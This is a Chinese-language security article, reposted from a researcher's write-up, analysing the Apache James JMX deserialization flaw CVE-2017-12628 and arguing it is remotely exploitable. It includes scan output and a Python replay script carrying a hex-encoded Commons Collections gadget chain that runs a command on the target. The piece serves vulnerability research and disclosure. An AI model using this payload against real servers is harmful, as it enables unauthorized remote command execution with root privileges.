安全路透社
当前位置:安全路透社 > 网络转载 > 正文

记一次CVE漏洞的分析(CVE-2017-12628)

记一次CVE漏洞的分析(CVE-2017-12628)

写在前面的话

就在前几天的一个早上,我发现了一条介绍“Apache James 3.0.1 JMX服务器反序列化漏洞”的推文,这个漏洞(CVE-2017-12628)成功引起了我的注意,因为我之前曾写过一篇关于JMX反序列化漏洞利用的文章,我当时随文还发布了我的RMI攻击工具-BaRMIe。在快速收集漏洞信息的过程中,我发现了一份安全发布声明,这份公告中声称该漏洞只能用于本地提权,并且厂商即将发布代码库更新补丁。这就非常有意思了,由于JMX使用了RMI,而RMI对象即使绑定到了本地主机localhost,(是因为Java将这种对象的引用绑定到了“0.0.0.0”)也仍然是可以远程访问的,BaRMIe利用的也正是这一点。

漏洞分析

我花了点时间设置好了虚拟机,并让它运行Apache James 3.0.0(v3.0.1已修复该问题),我所注意到的第一个东西就是文件“libs\commons-collections-3.2.1.jar”。我们可以使用ysoserial生成一个POP工具链,然后利用这个库通过反序列化实现任意命令执行。

接下来,我使用命令“bin/run.sh”启动了James服务器,然后在虚拟机中使用netstat以及在我的主机设备上使用nmap来监听Java RMI端口。

C:\Tools\Nmap>nmap.exe -sV --version-all-p33148,46299 192.168.174.40 
Starting Nmap 7.31 ( https://nmap.org ) at2017-10-22 12:37 GMT Daylight Time
Nmap scan report for 192.168.174.40
Host is up (0.00076s latency).
PORT     STATE SERVICE     VERSION
33148/tcp open  rmiregistry Java RMI
46299/tcp open  tcpwrapped

使用BaRMIe枚举出这个服务之后,我发现这里使用的是一个RMI对象服务,而不是一个RMI注册表服务,所以BaRMIe并不能远程攻击这个服务。

C:\Tools\BaRMIe>java -jar BaRMIe.jar192.168.174.40 33148
Scanning 1 target(s) for objects exposedvia an RMI registry...
192.168.174.40:33148 appears to be an RMIobject endpoint, rather than a registry.

在虚拟机系统本地运行nmap扫描之后,我还发现Apache James RMI注册表服务绑定的地址为127.0.0.1:9999。我把BaRMIe复制到了虚拟机中并枚举这个RMI注册表,然后发现这个面向外部的RMI服务实际上是一个针对JMX对象的RMI对象服务。

RMI Registry at 127.0.0.1:9999
Objects exposed: 1
Object 1
 Name: jmxrmi
 Endpoint: 127.0.1.1:33148
 Classes: 3
   Class 1
     Classname: javax.management.remote.rmi.RMIServerImpl_Stub

使用BaRMIe的攻击模式并配合通用JMX漏洞利用技术以及Commons Collections 3.2.1 Payload,我们将有可能利用该服务中的漏洞实现任意命令执行,并最终实现本地提权。除此之外大家还应该注意,如何服务器使用的是已过时的Java运行时环境(版本<=6u131, 7u121, 或8u112),那么我们在这里还可以使用ysoserial RMI注册表漏洞利用技术来实施攻击。

远程利用

根据安全发布声明中提到的内容,这只是一个本地提权漏洞,但考虑到JMX对象暴露在外部,因此我认为这个漏洞肯定是可以被远程利用的。

在我继续往下介绍之前,我必须说清楚的是,这是一个可以被远程利用的漏洞,但远程利用还涉及到基于网络的暴力破解攻击。

为了设计出一个简单有效的PoC,我在虚拟机系统中使用tcpdump来捕获JMX对象的流量,与此同时使用命令“touch fooobaaar”运行BaRMIe JMX漏洞利用模块:

sudo tcpdump -i lo -wapache-james-jmx-exploit.pcap port 33148

接下来,在我的主机设备中使用一个简单的Python脚本重放漏洞利用数据包:

import socket
 
packets = [
         "4a524d4900024b",
         "RECV",
         "00093132372e302e312e310000000050aced000577220000000000000002000000000000000000000000000000000001f6b6898d8bf28643757200185b4c6a6176612e726d692e7365727665722e4f626a49443b871300b8d02c647e02000070787000000001737200156a6176612e726d692e7365727665722e4f626a4944a75efa128ddce55c0200024a00066f626a4e756d4c000573706163657400154c6a6176612f726d692f7365727665722f5549443b7078709c4cdbcfdd205cf8737200136a6176612e726d692e7365727665722e5549440f12700dbf364f12020003530005636f756e744a000474696d65490006756e6971756570787080020000015f4347bba08304129e77088000000000000015737200126a6176612e726d692e6467632e4c65617365b0b5e2660c4adc340200024a000576616c75654c0004766d69647400134c6a6176612f726d692f6467632f564d49443b70787000000000000927c0737200116a6176612e726d692e6467632e564d4944f8865bafa4a56db60200025b0004616464727400025b424c000375696471007e0003707870757200025b42acf317f8060854e002000070787000000008beccd729e295d7ea7371007e000580010000015f43592e64224416a1",
         "RECV",
"50aced000577229c4cdbcfdd205cf88304129e0000015f4347bba08002fffffffff0e074eaad0caea8737200116a6176612e7574696c2e48617368536574ba44859596b8b734030000707870770c000000000010000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b707870740001417372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b7078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b7078707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d8341899020000707870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e0003707870767200116a6176612e6c616e672e52756e74696d6500000000000000000000007078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b707870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000707870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb3420200007078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a65637400000000000000000000007078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007078700000000174000f746f75636820666f6f6f6261616172740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b02000070787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c64707870000000010000000077080000001000000000787878",
         "RECV",
]
 
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(("192.168.174.40",33148))
 
for packet in packets:
         ifpacket == "RECV":
                   sock.recv(4096)
         else:
                   sock.sendall(packet.decode("hex"))
sock.close()

我在主机设备中远程重放的本地攻击是成功的,这也就证明了这个漏洞是能够被远程利用的。

记一次CVE漏洞的分析(CVE-2017-12628)

但不幸的是,当我重启了Apache James服务之后,我们之前的这个PoC就无法正常工作了。为了解决这个问题,我收集了大量的数据包来进行分析对比,并且还进行了进一步的测试。原来来在漏洞利用的过程中,第三个流出的数据包存在一些区别。下面给出的是这个数据包的前27个字节数据:

c2.png

蓝色部分标记的区域是动态生成的,不过它们的值可以从服务器之前所返回的响应数据包中直接提取出来。橙色部分标记的区域是RMI对象识别符,这是在服务器启动的时候自动生成的。这个值来自于RMI注册表服务,而这种服务只会在服务器本地进行监听。如果攻击者能够使用暴力破解攻击等方式获取这个8字节数据,那么攻击者就能够以root权限来实现远程命令执行了。 

* 参考来源:nickbloor,FB小编Alpha_h4ck编译

未经允许不得转载:安全路透社 » 记一次CVE漏洞的分析(CVE-2017-12628)

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册